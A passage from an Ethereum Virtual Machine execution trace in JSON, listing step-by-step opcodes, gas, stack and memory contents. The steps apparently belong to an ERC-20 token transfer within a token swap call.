857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13760,"op":"DUP3","gas":79959,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x2e4","0x20","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13761,"op":"ADD","gas":79956,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x2e4","0x20","0x40","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13762,"op":"PUSH1","gas":79953,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x2e4","0x20","0x324"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13764,"op":"MSTORE","gas":79950,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x2e4","0x20","0x324","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13765,"op":"RETURNDATASIZE","gas":79947,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x2e4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13766,"op":"DUP3","gas":79945,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x2e4","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13767,"op":"MSTORE","gas":79942,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x2e4","0x20","0x20","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13768,"op":"RETURNDATASIZE","gas":79939,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x2e4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002040081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13769,"op":"PUSH1","gas":79937,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x2e4","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002040081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13771,"op":"PUSH1","gas":79934,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x2e4","0x20","0x20","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002040081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13773,"op":"DUP5","gas":79931,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x1","0x2e4","0x20","0x20","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002040081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13774,"op":"ADD","gas":79928,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0